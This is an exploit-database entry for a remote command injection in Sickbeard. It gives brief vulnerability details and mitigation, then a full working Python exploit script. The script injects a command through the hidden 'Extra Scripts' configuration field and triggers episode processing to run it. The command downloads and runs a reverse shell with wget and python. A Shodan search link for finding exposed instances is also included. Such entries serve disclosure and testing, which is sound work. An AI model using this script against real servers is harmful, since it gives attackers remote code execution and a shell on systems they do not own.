Sickbeard 0.1 - Remote Command Injection

vendor:

Sickbeard

by:

bdrake

7.5

CVSS

HIGH

Remote Command Injection

CWE

Product Name: Sickbeard

Affected Version From: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121

Affected Version To: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121

Patch Exists: YES

Related CWE: NA

CPE: a:sickbeard:sickbeard

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Fedora 32

2020

Sickbeard 0.1 – Remote Command Injection

Sickbeard 0.1 is vulnerable to Remote Command Injection. An attacker can exploit this vulnerability by setting malicious commands in the 'Extra Scripts' field of the Sickbeard configuration page. The malicious commands can be executed when a local video is processed. This vulnerability affects Sickbeard version alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121 running on Fedora 32.

Mitigation:

Disable the 'Extra Scripts' field in the Sickbeard configuration page. Ensure that the Sickbeard version is up to date.

Source

Exploit-DB raw data:

# Exploit Title: Sickbeard 0.1 - Remote Command Injection
# Google Dork: https://www.shodan.io/search?query=sickbeard
# Date: 2020-06-06
# Exploit Author: bdrake
# Vendor Homepage: https://sickbeard.com/
# Software Link: https://github.com/midgetspy/Sick-Beard
# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121
# Tested on: Fedora 32
# CVE : NA

#!/usr/bin/env python3

import requests
import sys

HOST = 'http://localhost:8081/'

# path to local video for processing
# see HOST + home/postprocess
PROCESS_DIR = '/directory/changeme'

# Auth is disabled on default installation
USERNAME = ''
PASSWORD = ''

# see "Extra Scripts" field. HOST + config/hidden/
# multiple commands can be entered separated by '|'
CMD = 'wget -t 2 -T 1 -O /tmp/reverse_shell.py http://localhost/reverse_shell.py | python /tmp/reverse_shell.py'


def post_request(url, data):
    try:
        requests.post(url=url, data=data, auth=(USERNAME, PASSWORD))
    except requests.exceptions.RequestException as e:
        print(repr(e))
        sys.exit(1)


def set_extra_scripts():
    data = {
        'anon_redirect': 'http://dereferer.org/?',
        'display_all_seasons': 'on',
        'git_path': '',
        'extra_scripts': CMD
    }

    post_request(HOST+'config/hidden/saveHidden', data)


def process_episode():
    data = {
        'dir': PROCESS_DIR,
        'method': 'Manual',
        'force_replace': 'on'
    }

    post_request(HOST+'home/postprocess/processEpisode', data)


def main():
    try:
        print('setting scripts...')
        set_extra_scripts()

        print('processing episode. might take a few seconds...')
        process_episode()
    except KeyboardInterrupt:
        print('exit...')


if __name__ == '__main__':
    main()